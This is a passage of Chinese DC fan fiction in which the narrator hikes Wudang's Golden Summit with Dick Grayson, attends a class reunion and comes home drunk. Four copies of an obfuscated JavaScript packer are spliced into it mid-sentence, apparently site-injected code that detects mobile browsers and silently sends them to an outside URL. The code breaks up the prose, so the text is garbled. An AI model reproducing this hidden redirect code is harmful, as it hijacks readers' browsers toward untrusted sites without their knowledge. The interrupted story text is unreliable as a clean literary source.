“那个时候罗伊很想摆脱作为绿箭侠助手的阴影,你知道的,奥利弗他和布鲁斯一样,对身边的人都有一种很强的控制欲,少年时期我们将他们当做了毕生践行的目标和榜样,但成年之后却发现我们的分歧其实很早就在了。” 迪克伸出手拉了我一把,夜深露重,道路就有点湿滑,我一脚踩在青苔上的时候差点没表演一个原地脚滑起飞。 “罗伊不喜欢奥利弗的控制欲,就像我那时候不理解布鲁斯一样,我们都太年轻,不知道天高地厚,总觉得自己羽翼渐丰,想到外面去闯一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17049775|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闯。” “我觉得你现在也很年轻,你甚至还比我小一岁呢,Dicky。”我扶住栏杆休息了一会,说道。 “哈哈哈。”迪克笑了起来,“好吧,安,亚洲人实在太显小了,原谅我总是忘记你的年龄比我大,阿福和布鲁斯也是这样,总是对卡莎一个人在外面有些忧心忡忡,毕竟她看起来实在是太年幼了,但实际上她已经成年了,我们总忘记这一点。” 我斜睨了他一眼,决定不和他计较年龄问题,继续刚才的话题,“但是你现在和布鲁斯和解了,不是吗。” DC旗下的超英漫画多如繁星,从家世和经历都很相似的两位英雄就是哥谭的布鲁斯·韦恩和星城的奥利弗·奎恩,两个城市的超级大富豪,同样都是花花公子人设,同样都是背地里去当义警,只不过蝙蝠侠不杀人,而绿箭侠百无禁忌。 我对绿箭侠最多的了解是他不仅仅是一个偏红的人设,年年都送绿灯侠哈尔·乔丹《资本论》,还要求他全都要看完。 相较于蝙蝠侠作为DC大爹存在,以一己之力带动了DC这么多年的销量,绿箭侠奥利弗·奎恩的存在就显得不那么广为人知。 但与他不那么广为人知相反的是他的家庭关系,可以用一个词形容:一团乱麻。 可怜的中年老父亲,先是跟女友分分合合,再是跟好大儿好徒弟理念分歧,最后孤零零一个孤家寡人,还总是被反派惦记家里那点钱,我都有点可怜他了。 “或许吧,只不过是因为我们都克制住了自己,选择为同一个目标共同前进,殊途同归。”迪克说到这句话的时候,我注意到他的蓝眼睛里流露出温柔的神采,于是我就知道他说这话纯属嘴硬,明明蝙蝠家所有孩子都是蝙蝠激推,心里爱的死去活来但嘴上绝对不说,傲娇到没边了。 天塌下来都有这帮嘴硬的人顶着。 “噢。”我点点头,“我当然知道,你们都很爱布鲁斯,我也很爱他,这没什么不好说出来的。” 迪克开始眼神乱飞了。 “呃,你说的有点肉麻了。” “我就要说,你也应该大声说出来,你们全家人都应该大声说出来,对着布鲁斯·韦恩那张帅脸大声说我爱你老爸,再狠狠亲他一口。” 我大声抱怨起来,“别身在福中不知福了,天知道我有多想这样做!” 你们根本就不懂,一个蝙蝠侠激推隔着纸张和屏幕但是嘴伸不进去亲不到的那种绝望感。 总有一天要换一个可以亲到蝙蝠侠的手机! “看得出来,你真的很喜欢布鲁斯。”迪克幽幽地说。 这话说的,谁能不爱蝙蝠侠?如果有,现在就叉出去。 我感觉有点累了,站在原地叉腰休息了一会,抬起头看向天空,夜幕依旧,但是天空上的乌云已经被雨水冲刷干净,只留下满天繁星点缀其上,透过枝叶的缝隙,零星的月光洒下,落入我的眼睛里。 伴随着“咔嚓”一声,照片就此定格。 我转过头去,就看到迪克也看着我。 “记得把我拍好看好点。” 我就这一个要求。 “你当然很好看,这一点毋庸置疑。” 迪克摆弄着刚拍的照片,非常迅速地表明了自己的观点。 唉,这小伙,嘴咋恁甜哩。 25.025 “好吧,我承认。” 我有气无力地缀在迪克身后,拉着他背包后面的带子,一步一挪地爬上下一个台阶。 “这种徒步两小时爬山的运动运动强度,还是太为难我这种柔弱的小画师了。” 迪克被拉住背包带子,但身形仍旧很稳定,连晃动都没有一下,很显然这点运动量对于他来说只是开胃小菜。 他停下脚步,一副果然如此的表情看着我,强忍着笑意开口,“需要我帮忙吗,安,我可以背你上去。” 人怎么可以这么没有骨气,爬山还要人背的。 我心动了一秒,然后艰难地拒绝了。 “不了,我自己可以。” 此时已经来到了后半夜,凌晨四点钟左右,夏天的白昼长,太阳升起的也早,按照我们这个速度,勉勉强强能赶在凌晨五点天蒙蒙亮之前到达金顶。 “好吧,”迪克伸出一只手,“好心的安,你愿意牵着我吗,我有点累了,需要你的帮助。” 我盯着他伸到我面前的手,轻咳一声,握了上去。 骨气,什么骨气,那么都不重要。 实在是我太善解人意了。 迪克有了我的帮助,我们两个的速度提升了不少,总算是赶在天空从深沉的蓝变成带着红光的紫色时爬上了金顶。 我跟在迪克身后呼哧带喘,迪克面色如常地从背包里拿出保温杯,给我倒了一杯温水。 “你,你但凡装一下呢。” 我扶着膝盖勉强抬起脑袋,接过水含在嘴里慢慢吞下去,从没有那么一刻羡慕起对方的好体能。 “安之前不是说想要锻炼身体?不如等回去之后就开始吧。” 迪克慢悠悠地提议。 我有说过这话吗?我怎么不记得了? 但是锻炼身体是有必要的,我选择默认迪克的话。 就在我们说话休整期间,金顶已经陆陆续续来了一些人,都是从南岩那个方向爬上来的游客,天色昏沉,紫光低垂,我好不容易喘匀了气,就立刻拉着迪克去抢最佳观景的位置。 靠近栏杆的最中心的位置,足以看到不远处绵延起伏的苍翠青山,树叶在清晨的风中哗啦作响,道观里的香火气息混杂着草叶泥土的清苦腥味,交织成一副朦胧的山间盛景。 就算身体上的疲累仍旧叫嚣着要让我回去之后腰酸腿软脚抽筋,但此时此刻我已经顾不上那些,满心满眼都是等待胜利的成果。 起先是一抹红中带紫的晨光,而后略带浅薄淡色的山峦之间突兀地升起一轮红日,太阳出现的一瞬间,整个天地都为之一亮,略显沉着的紫雾散去,天空紧接着被渲染上绚烂的胭脂色。 万丈霞光照耀而来,我的目光随着落在金顶上几座道观的红墙上,看到了极其璀璨的金光。 而当那金光彻底照在我的身上的时候,我体内的那股若有似无的能量突然间到达了一个顶端的阙值,然后突然开始沸腾起来。 我勉强捂住嘴。 好撑,好想吐。 不愧是武当山,这能量爆炸了吧,我头一次感受到原来能量太多也是一种烦恼。 迪克低头凑到我耳边,“动用一下能力,消耗多余的能量。” 我一脸菜色地开始转换视角,下一瞬,整个天地为之一震。 我去。 没开玩笑也没夸张修辞,我刚刚感觉脚底下的山震了一下。 我惊慌失措地看向迪克,却发现迪克也茫然地看着我。 不应该啊,没说今天要地震啊? 身体里的饱胀感实在磨人,我没有过多思考,继续转换视野。 刹那间,金光落入我的双眼,原本只有黑白灰三种颜色的线稿突兀地多出了一抹亮色。 “哇塞。”我忍不住感叹,“迪克,你变成小金人了耶。” 迪克:“?” 还是迪克:“什么?” 我开始在原地四处张望,试图发现更多的小金人,最后发现小金人只有迪克一个。 看来这里只有迪克是与众不同的。 我将视线落回到迪克身上,他被我刚刚说的那句话弄得有点疑惑,此刻正观察着我,想要找出有哪里不对的地方。 金灿灿的光构筑了他的眉眼,就连那蓬松茂密的黑色半长发都被染上了金色,我所熟悉的蓝眼睛消失不见,仅能辨认出一个人形的轮廓。 我对着小金人招了招手。 小金人将脑袋凑了过来,我伸手薅了一把顶端的金光,发现连手感都不一样了。 是火焰的触感。 轻飘飘的,暖乎乎的,感觉我可以轻易地把小金人抱起来。 “我建议你不要这么做,你会后悔的。”小金人敏锐地发觉了我的想法,将我蠢蠢欲动的心思猜了个彻底。 哦,好吧。 我有些失落地薅了一把那些火苗似的金色碎屑,身体里的能量慢慢地转化成了线稿里的一部分,那股如同热血上头的感觉终于从我的意识里散去。 金色稀薄,天光大亮。 小金人也随之散去,露出迪克的真容。 “现在感觉怎么样?”迪克问。 “好极了。”我感受着体内已经达成均衡的能量,“我有一种感觉,现在我的力量好像可以改变世界。” “你已经在改变世界了。”迪克忍俊不禁。 别这样,这样高强度的夸夸真的很容易让人迷失。 眼看着金顶上的旅客越来越多,聚集在金殿前已经排起了队,我也顾不上多说些谦虚的话,连忙拉着迪克去排队。 这里面供奉的可是端坐六百多年的真武大帝,驱邪避凶,镇宅安家的守护神,最适合这段时间遇到那些离奇事情的我了。 迪克也应该拜一拜,顺便帮蝙蝠侠也拜一拜。 排在我们前面的人不算多,很快就来到金殿面前,我闭上眼睛双手合十,许下我心中已经规划好的愿望。 希望家人朋友平平安安,希望闺蜜有朝一日发大财然后包养我,希望我可以用我的能力可以保护好我的世界,希望蝙蝠侠可以不受那么多伤,希望老管家阿福长命百岁永远陪着布鲁斯,希望蝙蝠家的小鸟们别再死了,希望迪克......35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17053201|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我悄悄睁开一只眼睛,看向站在我旁边同样闭上眼睛许愿的迪克。 在我看过去的时候,他眼皮颤了颤,好像下一秒就要睁开眼睛,我连忙再次将眼睛闭上,许下最后一个愿望。 希望迪克在回去之后,不要忘了我这个朋友。 想到这里我又有些迟疑,我们应该已经算得上是朋友了,对吧? 许愿的时间不能太长,我有点恋恋不舍地放下手让排在后面的人上前,迪克已经先我一步许完了愿,站在旁边等着我。 我走过去,开始从他背后的背包里掏食物。 “你许了什么愿望?”迪克问。 “在询问别人许的什么愿望之前,你需要先告诉我你许了什么愿望。”我一本正经地戳了戳迪克结实的手臂,将一块包好的饭团拿在手里。 “虽然不知道中国的神仙愿不愿意回应一个外国人许下的愿望,不过我希望我重要的人都平安健康。”迪克拧开了一瓶矿泉水,他不怎么喜欢喝热水,所以那个保温杯的热水都是我在喝。 我眨了眨眼,突然很想问我属不属于那个重要的人的一部分,但我还是克制住了自己的好奇心,这种话问出来有点奇怪,要是不属于那部分那我岂不是很尴尬。 迪克垂眸,蓝眼睛盯着我。 好吧,这下不得不说了。 “许的愿望说出来就不灵了。”我轻声抱怨,“我和你一样,都希望亲朋好友平平安安,还希望我的世界可以一直这样和平。” 更具体的愿望,还是不要跟迪克说了。 我们两个慢慢走到人少的角落里,这里有一面红墙,很适合拍照。 “愿望当然要说出来才会有人帮你实现。”迪克笑着说:“就像我还生活在韦恩老宅的时候,每年圣诞节我都会大声许愿,然后晚上布鲁斯和阿福就会把礼物塞进我的袜子里。” 我想象了一下小小一只的漂亮少年站在壁炉前大声许愿的样子,有点被可爱到。 “那很可爱了......”我恍惚的说。 迪克的眼睛里染上疑惑,“什么可爱?” 我将饭团的包装袋拆开,咬了一大口,一边吃一边盯着迪克的脸,想象这张脸年幼的样子,没一会就把饭团吃完了。 “没什么,我们从另一条道离开吧,顺便去参观一下剩下的景点。” 这次的旅行虽然状况百出,但总体来说还是圆满完成最初的计划,迪克也没有想到我体内的能量可以在短短两个能量场就可以补齐,而我根据这一次线稿显现的变化来看,我的能力应该是在缓慢成长的状态。 如果这个能力可以持续成长的话,等到完全体的时候,或许我可以像迪克所说发那样,以一己之力改变整个世界。 不过在此之前,我苦命的肝稿生涯就再一次开始折磨我的精神和躯体,编辑对我这次的题材很满意,希望我可以按时交稿,不要再跟她斗智斗勇赶ddl。 哈哈,那必然是不可能的,赶ddl一时爽,一直赶ddl一直爽。 随着新一轮周六的到来,我迎来了毕业后的第一次同学会。 26.026 “这件裙子会不会有点太正式了?” 视频电话通着,我将我衣柜里的衣服都翻出来,一件件给闺蜜看。 “蓝色那件你什么时候买的,我怎么没印象。”闺蜜关注的重点居然是我什么时候买的新衣服,“蓝色的好看,穿那条。” 我的视线落在那条蓝色条纹衬衫裙上面,也有点想不起来究竟是什么时候买的了,“那就穿这条,那你穿什么颜色?我记得上回你买的那件鹅黄色带针织小开衫的套裙很好看,可以搭配我今天穿的蓝色。” “这件?”闺蜜拿起一套已经搭配好的暖色系衣服,狡黠地笑了起来,“我当然已经选好了,就等着你提出来呢。” 现在已经是八月末,气温仍旧有些炎热,我将衣服换好之后,给自己做了全套的皮肤防护措施,这才拿着遮阳伞准备出门。 迪克半躺在懒人沙发上看书,听到我的脚步声抬起头来,微微坐直了身体。 “你今天就要去参加那个同学会?” “是啊,你觉得我今天穿的这身怎么样?”我在他面前转了个圈,裙摆随着我的动作翻飞起来,我很喜欢这样像是花朵盛开的款式,每次穿上都很喜欢转圈。 “或许你需要搭配一个腰带?”迪克非常中肯地给出了自己的建议,“你今天晚上几点回?需要我去接你吗?” 我低头看了一眼裙腰,从善如流地接受了迪克的建议,转回卧室又拿了一条基础款的腰带来配,“我今天可能会玩到很晚,不需要来接,我如果喝酒了会叫代驾。” 我想了想,“你今天没有出门的计划吗?” 同居的日子过久了,我都有点忘记迪克没有我的话出不了我这个门。 “不,我今天没有其他安排,如果你回来的晚的话我会给你留灯。”迪克从懒人沙发上站起来,将手里的书放回原来的位置,送我出门。 经常熬夜的小鸟来到我家之后也变成了一个作息规律的人,不过或许他们之前熬夜只是因为没有时间睡觉,而不是不想睡觉。 这一点让我又一次忍不住心生怜爱,“我会早点回家的,你如果困了可以先睡。” 迪克靠在门框上笑看着我穿鞋,“玩的开心,女孩。” 房门在身后闭合。 我站在原地发了会呆,总感觉刚刚的对话有哪里不太对劲,但是一时半会又想不出来到底哪里不对劲,索性不想那么多了,准备出发。 同学会定在中午,于是我先去和闺蜜汇合,再一起去定好的饭店,这次闺蜜也开了自己的车来,我立刻就被她这次骚包的车身给晃花了眼睛。 “你为什么要开你的痛车来啊。”我惨不忍睹地捂住眼睛,感觉受到了折磨,“而且还是我画的柄图。” 求求你了,放过我吧。 闺蜜笑嘻嘻地搂着我的肩,她比我高一点,体格带了些许北方姑娘的大骨架,能轻而易举地把我搂在怀里,“当然是因为我其他的车都送去保养咯。” “其实你可以不开车来的,把我的车借你都行啊!”我被闺蜜的胳膊勒的直翻白眼,“松手,我要被你勒死了。” 我们两个就这样进行了一番亲切友好的交流,直到时间差不多了,我们才慢吞吞地驱车前往指定地点。 班长定的饭店是这一片区域里非常有档次排面的包厢,商务合作之类需要请客吃饭的时候都会优先考虑这家饭店。 礼宾员将我和闺蜜引到了二楼一处相对僻静的包厢,还未进门就已经听到了谈话声。 我和闺蜜对视一眼,立刻选择开始扒墙角偷听。 礼宾员看了看我又看了看闺蜜,满脸困惑地离开了。 最先听到的是班长的声音,一年多不见,她的声音仍旧很熟悉,又轻又缓,让人一下子就能分辨出来。 “......除了这件事,还有好多人都......” “对对对,我也......” 包厢的隔音效果太好了,导致我听的一知半解的,闺蜜拽了拽我的裙摆,示意我们先进去。 推开门,几个身影已经围着圆桌坐下了,见到我和闺蜜进来,都热情地对我们打招呼。 简单地寒暄几句过后,我们两个人落了座,一看位置还空出来几个,班长笑着说:“还有两个人今天有事情不来了,我们现在开席吧?” 席面是早就定下的,礼宾员陆续上菜,都是本地时兴的特色,不过我们所有人的注意力都不在菜上,随着第一瓶酒的启封,大家都开启了推杯换盏模式。 我有些心不在焉地听着坐在身边的同学谈论这一年过得如何如何,是创业赚了还是投资赔了,是结婚了还是生小孩了,这些东西距离我都很远,毕竟我的工作时间很自由,家里也没有催我结婚生小孩的打算,我自己对于婚姻和小孩的理解都只是一个空泛的概念,完全没有那个想法。 最后话题拐到了一个奇怪的点上,他们似乎又开始谈论起我和闺蜜刚刚偷听但是没听成的话题。 “最近我总是做梦,梦到我好像变了一个人,在一个陌生的城市工作。”其中一个同学说,“我差点就以为那是真实发生的了,因为实在太真实,我被吓醒了,因为那个世界我生了三个小孩。” 这确实有点吓人了。 另一个同学连忙附和,“对的,我也做了这样的梦,我梦见我的工作单位变成一家私企,每天上着早八晚十的班,还要时不时加班,累成狗一样,吓得我直接醒了,我辛辛苦苦考上的编制不能就这么飞了。” 闺蜜在我耳边窃窃私语,“编制的工作不是更累吗?” 我不动声色地翕动嘴唇,“上岸的人都这样,理解一下。” 闺蜜缩回脑袋。 随着话题的深入,我已经不能将他们的梦境当做是无关紧要的杂趣闲谈,而是在心里认真记录他们所说的相关的梦。 这些梦都有一个共同点,他们都梦到了另一个世界截然不同的自己,截然不同的人生。 “我做的梦跟你们不太一样诶,我还挺想那个梦成真的。”一向有些活泼的一个同学撑着脑袋说,“我最近创业不是失败了吗,我梦里反而创业成功了,拿到了大公司给的天使投资,我创办的那家公司市值直接翻了几倍,我爸妈再也不用辛辛苦苦去上班了,还把我爷奶家爹从村子里接到大房子里住。” 那是人生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17056945|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的另一种可能。 我的眉心不自觉地蹙起,想起两个世界融合的事情。 因为是高维世界,所以并不是一下子就被同化了吗? 这种情况出现在我的同学们身上,那么大概率就已经大范围的传开了。 就在我沉思之时,坐在我身侧的闺蜜也开了口。 “我昨天也做了这个梦。” 我转过头看向她。 “我梦到我家公司上市了,身价猛涨,然后我转头就去意大利买了个足球俱乐部,每天买大牌球星给我踢球,年年拿奖杯。” 她的脸上露出了诡异的红晕,看起来已经完全沉醉在梦境里了。 我:“......” 我拿起酒杯,给自己灌了一口。 所有人都笑了起来,最后目光齐刷刷看向我。 “媛媛,你没有做那个梦吗?”班长问。 我还能怎么样,这种时候我总不能不合群。 我的脸上挂起一个笑容,“当然不是啦,我做的那个梦里,我变成了一个行侠仗义的女侠,天天走街串巷专为人打抱不平。” “当律师吗,那确实是个不错的梦了。”考上编的那个同学一脸认同地跟我碰杯。 闺蜜戳了戳我,对着我挤眉弄眼。 我立刻悟了,闲聊时间已经结束,正餐要来了。 除了班长和另一个男同学之外,我们彼此对视一眼,开始起哄让那个男同学去帮我们拿东西。 班长有些紧张,一向娴静淡雅的脸上显露出几分忐忑,她在男同学出去之后,飞快地检查了一番自己身上的衣着,不断地询问我们她现在看起来好不好看。 “别紧张,大大方方的!”闺蜜在班长身边给她理了理裙摆,拍拍她的背,“谈恋爱就要掌握主动权,我看好你!” 这次来的同学都是跟班长平时玩的很好的朋友,我们都在不断地给予她肯定和赞美,在整理好一切之后,我们关上了灯。 “等等,好像没有这个环节......”班长下意识地抬起头,却发现男同学去而复返,怀里还抱着一捧巨大的玫瑰花束。 我和闺蜜站在角落里,“还是看别人谈恋爱有意思。” 我感叹。 闺蜜赞同地点头,“还是别人的恋爱好嗑。” 她又转头看向我,“话说你家里那个还没走吗?” 我脸上的笑容不变,“没有呢,还在做准备。” “哦——”闺蜜拉长声音,目光却十分犀利,慢吞吞地说:“做准备。” 黑暗中,我感觉整张脸都因为闺蜜这阴阳怪气的语调给整红温了,“你怎么这样,我有在努力啊!” “你动摇了。” “我没有。”我矢口否认。 闺蜜收回视线,没有再继续这个话题。 我伸手抹了一把脸,从桌子上拿起自己的酒杯灌了一口。 冰凉的酒液滑入食管,我冷静下来,继续围观班长和男同学互相隐瞒的表白大戏。 “少喝点,一会还要转战去ktv,今天晚上有你喝的时候。” 我想了想,还是把酒杯放下了。 27.027 昏暗的包厢内,五颜六色的氛围灯交替闪烁,同学们都已经闹开了,曲子换了一首又一首,又唱又跳,整个包厢里充斥着变调跑音的歌声。 我跟着闺蜜一起举杯又举杯,围着班长和她新鲜出炉的男朋友一块求她说如何动心的二三事,一群八卦的人凑在一块就是会这样,不挖到一些猛料就舍不得撒手。 玩到深夜,或许是凌晨,我们从ktv出来的之后天色已经昏沉,而我也已经被过度的酒精麻醉了大脑,被尚且清醒的闺蜜拖着把我放进了后座。 我半靠在后座上四仰八叉地想要爬起来,但浑身都没什么力气,只好又躺了回去。 “燕儿啊,你啥时候练出的影分身,我觉得你下一次可以试着cos鼬,而我负责cos佐助,我们永远是好姐妹......” 我含混不清地半靠在椅背上,盯着面前的车座子说。 “我给你叫了代驾,你给我老老实实躺着。”闺蜜没好气地拍了我一下,“都说了让你少喝点,你倒好,直接拿起一整瓶对嘴喝,我都卡着你衣领子了你都没撒手,我看你真是越来越无法无天了,等之后一定要跟宋阿姨告状!” “宋女士才不会管这种事。”我嘿嘿笑,乖乖地蹭蹭闺蜜的脸,“她会直接下场跟我拼酒。” 闺蜜:“......” 得,合着这玩意还是遗传。 她不客气地捏捏我的脸,泄了气,“算了,看你这样子我怕你半道上袭击代驾,我还是先把你送回去吧。” 我面前整个世界都是光怪陆离的炫彩,车是炫彩的,人也是炫彩的,我忍不住闭上眼,听见闺蜜和不放心跟过来的班长聊了几句,然后各自道别。 我听到闺蜜叮嘱代驾的声音,她还是那么宝贝她那辆痛车,让代驾千万小心着开,一定不能刮花上面的图案,嘿嘿,她真的好喜欢我画的那张图,下一次再给她画个新的好了。 我又忍不住笑,开始学着海绵宝宝里的水母那样发出“噗噗”的笑声。 代驾坐上驾驶座,我感觉到车开始向前行驶,闺蜜就坐在我身边,让我靠着她。 车厢内一时安静下来。 就在我昏昏沉沉地准备睡过去时,闺蜜突然开口,“你是不是有什么事情瞒着我?” 这句话虽然是疑问句,但说话的声音却很笃定,就像是确认了那样。 我勉强清醒了一会,缓缓道:“我会保护好你的,燕子。” 闺蜜温暖的体温透过单薄的夏衫传递给我,让我心中那一丝隐忧无处遁形。 她侧过头,双眸在昏暗的车厢里明亮如星子,半晌,她又转过脸去看向窗外。 “真是个麻烦精。”她嘟囔着,又捏捏我的脸,“班长他们做的梦,是不是......” 顾及到代驾还在这里,她未尽的话语被吞咽了下去,但我仍旧用我昏沉的大脑理解了她的意思。 “别担心,我现在可厉害了。”我拍拍闺蜜的脸,含糊不清地说:“而且还有夜翼呢,他可以搞定一切。” 我感受到闺蜜莫名其妙又凶恶起来的眼神,茫然地抬头跟她对视,但这样的动作使我脆弱的颈椎感觉到酸痛,我又连忙低下头去。 这个代驾的车技很不错,一路平稳地把我们送到了地下车库,然后骑着他的小电驴离开了。 我有点想睡觉,但现在还不是睡觉的时候,“你来我家睡一晚再走吧,今天太晚了,你也喝了酒。” “小看谁呢。”闺蜜满不在乎地一撩头发,“给你家那个超级英雄打个电话,让他下来接你,我走了。” 我打了个嗝。 “可,可是他现在......呃,出不了我家门。” 闺蜜突然站直了身体,我感受到她常年健身练出来的肌肉紧绷起来,像是一只极具爆发力的母狮。 然后我顺着闺蜜的目光看过去,一个不应该出现在这里的熟悉身影就站在不远处,谁也不知道他是怎么悄无声息地就这样接近我们的。 我看看闺蜜,又看看那边那个男人。 我去,这是什么跨时空交流,我是真的醉了,居然能看到我闺蜜和漫画角色站一个分镜里。 我忍不住又打了个嗝。 “晚上好,这位女士,我是来接安回家的。”男人的语气很轻快,试图降低自己的威胁性,并没有一开始就靠近我们。 “你就是迪克·格雷森?” 这种情况不太对劲啊,我本能的求生欲在作祟,让我暂时从酒精的控制中挣脱出来,站到两个人中间隔开他们。 “好了好了,燕子,你今天真不来我家住吗?要是不住我就给你叫个车,你赶紧回家去,今天太晚了。” 闺蜜哼了一声,算是回应。 我知道她的脾气,她向来有些认床,不是自己家那张睡惯了的床去哪睡都不舒服,所以我也没有非让她留下来的意思,还是趁早让她赶紧回去吧。 我硬着头皮送走了闺蜜,看着她坐进车里对着我摆手,这才松了口气,转头就看到迪克站在距离我三步远的地方盯着我看。 现在问题来了,这人究竟是怎么自己跑出来的? 我迟钝地思考了一下,思考不明白,然后我果断放弃思考,“你怎么出来的?” 长了嘴巴就要用。 “你忘记了吗,我之前说过的,要做一个能力抑制装置。”迪克挥了挥手里的那只罗宾鸟挂件,“你家里不让我出门的障碍本质来说是你能力的一部分,能力抑制器可以压制它。” “好吧,天才。”我打了个哈欠,觉得自己实在是头脑发昏站不稳了,“我们先回去吧,我还要洗澡。” 说到最后的时候,我的声音甚至都开始发飘,我走过迪克身边,突然胆子就大了起来。 “啪”的一声。 我的手不受控制地拍在了他的屁股上。 芜湖,爽! 终于给我拍到手了! 我盯着我的手嘿嘿笑着向前走去,没注意到身后迪克被拍了屁股之后挑眉,然后伸出手。 下一秒,我的世界再次天旋地转,被他单手托着大腿抱举了起来。 这种姿势实在是考验人的平衡能力,我现在软趴趴的四肢根本没办法很好的支撑起来,只好弯下腰搂住他的脖子。 “你太坏了!” 我大声控诉。 迪克不以为意地笑了起来,甚至还有点使坏地把我往上颠了颠,“是你先使坏的,安,我只不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064530|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过是以其人之道还治其人之身。” 这人现在都已经可以背古文了吗? 我的大脑放空了两秒,然后没什么骨气地在迪克使坏之后更加用力地搂住他的脖子。 “放我下来,我自己可以走。” “如果你有上帝视角的话,安,你真应该看看你刚刚是怎么走路的。” 迪克就这样托着我向前走,甚至连用力时会发出的喘息声都没有,声音平稳地像是拿着一只轻薄的麻布袋。 “你一直在走s型路线,如果不是刚刚那位女士扶着你,你可以直接一头撞到墙上去。” 我的脸有点热,“你的观察力是用在这里的吗,我感觉有点被冒犯了,你给我道歉!” “冒犯到你真是抱歉。”迪克没什么诚意地笑了起来,我感受到他胸膛震动起伏的饱满弧度,这下感觉除去被酒精麻痹的大脑,就连手脚也开始发麻了。 他加上了另一只手,整个将我的大腿牢牢卡在他的臂弯里,我为了保持平衡就只能弓起身体撑在他的肩膀上,这样他的脸仰起来就可以正对着我的脸,暖融融的呼吸彼此交错,我看到那双蓝眼睛在昏暗的灯光下闪烁着盈盈的光。 “原谅一下我吧,女士?” 他放轻了声音,原本清亮的音色也变得绵软缱绻了起来,那张本就颜色出众的脸此刻也像是加了一层柔光滤镜一样,漂亮到让人呼吸困难。 我忍不住屏住了呼吸,感觉到有些晕眩。 “你知道我有些喝醉了,对吧?” 我慢吞吞的说。 “放我下来。” 那双蓝眼睛有点暗淡了。 “我有点想吐。” 好吧,这回迪克是真的意识到不可以这样对待一位随时可能会吐出来的醉酒人士。 我站在路边,拿着塑料袋把我晚上吃的喝的东西都吐了个干净,然后利索地把袋子一系,扔进厨余垃圾桶。 迪克站在旁边,拿着一瓶水递给我。 “抱歉,你现在还难受吗?” 这句道歉就显得有诚意多了,我拍了拍胸口,给自己顺了口气,接过水慢慢喝了两口,这才平复下来,脑子也清醒了一些。 这一刻,就像是几万年前晚期智人突然间灵光一闪知道架起火堆可以把猎物烤熟那样,我的大脑从未如此清晰的意识到,站在我旁边的这个人对我有意思。 他在撩我。 而我又忍不住真的像个未开化的野人一样,选择装作是一个啥也不懂的蠢货,权当一切都没有发生。 男人都会骗人,而漂亮的男人尤甚。 我知道我不应该一棒子打死所有人,但我无法确定他究竟是只想跟我来一段随时可能结束的恋爱,还是认真的。 好吧,我现在有点烦躁为什么我会如此了解他的过往了,看看那些刊物吧,我几乎知道他每一段恋情,他试图去认真对待这些关系,只不过总是没能得到一个好结果而已。 那我呢,我能成为那个特殊的存在吗? 我自己都无法确定。 毕竟我们终究是两个世界的人,而我也已经下定决心要将两个世界分开。 八月末的夏夜有点冷了。 我心想。 28.028 尽管已经吐过一场,但我仍旧有些头晕,许久不喝酒,我的肝脏有点处理不了这些恼人的酒精。 下次再也不喝这么多了。 我在心里暗暗发誓。 迪克将我扶了起来,这回他动作小心了许多,在我面前背过身去,蹲了下来。 “上来,我背你回去。” 我无声地叹了口气,慢慢趴了上去。 迪克的脊背很宽阔,很厚实,我趴上去的时候摸到了他的背肌,能感觉到紧绷的肌肉是硬邦邦的,充满了力量感和爆发力,我控制着自己不要像个变态一样暗戳戳品味对方的肌肉触感,但晕乎乎的脑袋拒绝了我。 理智:你是色狼吗,不要摸。 感性:你是不是不行,你不行就放开让我来,我要摸我要摸,他都背过身了不就是让我摸的吗! 都怪酒精。 我终于放弃了抵抗,脑袋一歪意识断片。 等我再次恢复意识的时候,我已经躺在了沙发上,身上盖着我的卡通毛绒毯子,四周黑漆漆的没有开灯,脑袋发胀,一股刺痛感贯穿了我的大脑,神经在额角突突地跳。 我捂着脑袋坐了起来,眯着眼睛伸手去够放在茶几上的手机。 屏幕上显示现在已经是凌晨四点左右,大概凌晨三点的时候,闺蜜给我发了已经平安到家的讯息。 我强忍着头痛,给闺蜜回了一个消息,然后扔开手机,准备去找点水喝。 迪克就在此时从厨房里走了出来,手上还端着一杯水。 